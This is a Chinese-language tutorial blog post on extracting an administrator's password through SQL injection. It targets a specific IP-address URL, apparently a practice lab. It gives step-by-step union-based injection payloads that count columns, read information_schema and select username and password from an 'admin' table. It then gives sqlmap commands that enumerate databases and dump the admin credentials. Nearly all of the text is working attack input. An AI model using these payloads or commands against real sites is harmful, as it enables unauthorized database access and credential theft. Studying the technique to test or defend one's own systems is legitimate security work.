通过SQL注入拿到管理员密码

1.目标URL:http://59.63.200.79:8003/?id=1

通过SQL注入拿到管理员密码_第1张图片

第一步判断是否存在SQL注入漏洞。

构造 ?id=1 and 1=1 ,回车

通过SQL注入拿到管理员密码_第2张图片

这里 %20 代表空格的意思。

页面正常,继续构造 ?id=1 and 1=2

通过SQL注入拿到管理员密码_第3张图片

页面不正常,则可以推断该页面存在SQL注入漏洞。

第二步判断字段数

构造?id=1 and 1=1 order by 1 ,回车

通过SQL注入拿到管理员密码_第4张图片

页面正常 ,

继续构造 ?id=1 and 1=1 order by 2 ,回车

通过SQL注入拿到管理员密码_第5张图片

页面正常,

继续构造 ?id=1 and 1=1 order by 3 ,回车
通过SQL注入拿到管理员密码_第6张图片

返回的页面不正常,判断出字段数应该是2。

第三步 判断回显位置

构造 ?id=1 and 1=2 union select 1,2

通过SQL注入拿到管理员密码_第7张图片

返回的页面中出现了2,那么我们可以在2处得到我们想得到的内容。

第四步 查询相关内容

查询当前数据库名

构造URL: ?id=1 and 1=2 union select database() ,回车

通过SQL注入拿到管理员密码_第8张图片

查询当前数据库版本

构造URL:?id=1 and 1=2 union select 1,version() ,回车

通过SQL注入拿到管理员密码_第9张图片

查询当前数据库 表名

构造URL: ?id=1 and 1=2 union select 1,table_name from information_schema.tables
where table_schema = database() limit 0,1 ,回车

通过SQL注入拿到管理员密码_第10张图片

绝大多数情况下,管理员的账户密码都在admin表里面。

查询字段名

构造?id=1 and 1=2 union select 1,column_name from information_schema.columns
where table_schema=database() and table_name='admin' limit 0,1

通过SQL注入拿到管理员密码_第11张图片

构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns
where table_schema=database() and table_name='admin' limit 1,1

通过SQL注入拿到管理员密码_第12张图片

构造:?id=1 and 1=2 union select 1,column_name from information_schema.columns
where table_schema=database() and table_name='admin' limit 2,1

通过SQL注入拿到管理员密码_第13张图片

可以看出admin表里面一共有 id,username,password三个字段。

查询字段内容

构造 ?id=1 and 1=2 union select 1,username from admin limit 0,1

通过SQL注入拿到管理员密码_第14张图片

构造 ?id=1 and 1=2 union select 1,password from admin limit 0,1

通过SQL注入拿到管理员密码_第15张图片

至此,得到管理员的账户和密码。

不过通过手工的方式进行注入确实可以加深我们对原理的了解,不是单纯的“脚本小子”,不过在实际应用中我们可以借助工具进行快速的注入。

工具SQLMAP

1.SQLMAP

2.Python2.7

SQLMAP下载地址:http://sqlmap.org/

我这里用linux环境演示,解压后,进入文件夹内,执行 python sqlmap.py 即可。

通过SQL注入拿到管理员密码_第16张图片

根据目标URL:http://59.63.200.79:8003/?id=1

执行:python sqlmap.py -u http://59.63.200.79:8003/?id=1 –batch

通过SQL注入拿到管理员密码_第17张图片

根据返回的结果,我们可以发现存在注入点。

获取全部数据库

执行 python sqlmap.py -u http://59.63.200.79:8003/?id=1 --dbs –batch

通过SQL注入拿到管理员密码_第18张图片

获取当前的数据库:

执行 python sqlmap.py -u http://59.63.200.79:8003/?id=1 --current-db --batch

获取当前数据库里所有的表:

执行:python sqlmap.py -u http://59.63.200.79:8003/?id=1 -D maoshe --tables
–batch

通过SQL注入拿到管理员密码_第19张图片

获取表的字段:

执行:python sqlmap.py -u http://59.63.200.79:8003/?id=1 -D maoshe -T admin
--columns –batch

通过SQL注入拿到管理员密码_第20张图片

Dump字段内容

执行:python sqlmap.py -u http://59.63.200.79:8003/?id=1 -D maoshe -T admin
-C"password,username" --dump --batch

通过SQL注入拿到管理员密码_第21张图片

至此,得到管理员账户和密码。

你可能感兴趣的:(通过SQL注入拿到管理员密码)